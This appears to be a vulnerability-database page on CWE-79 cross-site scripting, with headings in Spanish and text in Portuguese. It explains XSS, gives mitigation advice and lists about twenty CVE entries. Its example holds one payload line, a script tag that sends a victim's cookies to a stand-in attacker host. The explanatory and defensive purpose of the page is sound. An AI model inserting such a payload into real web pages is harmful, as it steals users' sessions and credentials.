Fallos del tipo CWE-79

29.303 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-64970MEDIUMStored XSS in ATutorEPSS 0.5%CVE-2023-23682MEDIUMWordPress EZP Maintenance Mode Plugin <= 1.0.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.5%CVE-2024-11032MEDIUMParsi Date <= 5.1.1 - Reflected Cross-Site Scripting via add_query_arg ParameterEPSS 0.5%CVE-2026-7804MEDIUMProduct Filter for WooCommerce by WBW <= 3.4.2 - Reflected Cross-Site Scripting via 'wpf_fid' ParameterEPSS 0.5%CVE-2025-48236HIGHWordPress bunny.net plugin <= 2.3.0 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.5%CVE-2023-51296MEDIUMPHPJabbers Event Booking Calendar v4.0 is vulnerable to Cross-Site Scripting (XSS) in the "name, plugin_sms_api_key, plugin_sms_country_codeEPSS 0.5%CVE-2024-7284MEDIUMSourceCodester Lot Reservation Management System cross site scriptingEPSS 0.5%CVE-2026-41653HIGHBentoPDF: Stored XSS via Markdown Editor Leading to Persistent File ExfiltrationEPSS 0.5%CVE-2023-6924MEDIUMPhoto Gallery by 10Web <= 1.8.18 - Authenticated (Administrator+) Stored Cross-Site Scripting via WidgetEPSS 0.5%CVE-2025-3532MEDIUMYouDianCMS index.html.Attackers cross site scriptingEPSS 0.5%CVE-2026-86550MEDIUMUXSS vulnerability in ZTE browser productsEPSS 0.5%CVE-2025-25905HIGHCross-Site Scripting (XSS) vulnerability in CADClick v1.13.0 and before allows remote attackers to inject arbitrary web script or HTML via tEPSS 0.5%CVE-2023-29306MEDIUMAdobe Connect Reflected Cross-Site Scripting (XSS) Arbitrary code executionEPSS 0.5%CVE-2026-63360HIGHLimeSurvey Community Edition 7.0.5 - Reflected XSS in user activation confirmation endpointEPSS 0.5%CVE-2024-10222MEDIUMSVG Support <= 2.5.10 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.5%CVE-2022-40711MEDIUMPrimeKey EJBCA 7.9.0.2 Community allows stored XSS in the End Entity section. A user with the RA Administrator role can inject an XSS payloaEPSS 0.5%CVE-2023-24197MEDIUMOnline Food Ordering System v2 was discovered to contain a SQL injection vulnerability via the id parameter at view_order.php.EPSS 0.5%CVE-2024-4216HIGHXSS vulnerability in /settings/store API response json payload in pgAdmin 4EPSS 0.5%CVE-2025-3531MEDIUMYouDianCMS index.html cross site scriptingEPSS 0.5%CVE-2024-52526MEDIUMLibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/device/services.inc.phpEPSS 0.5%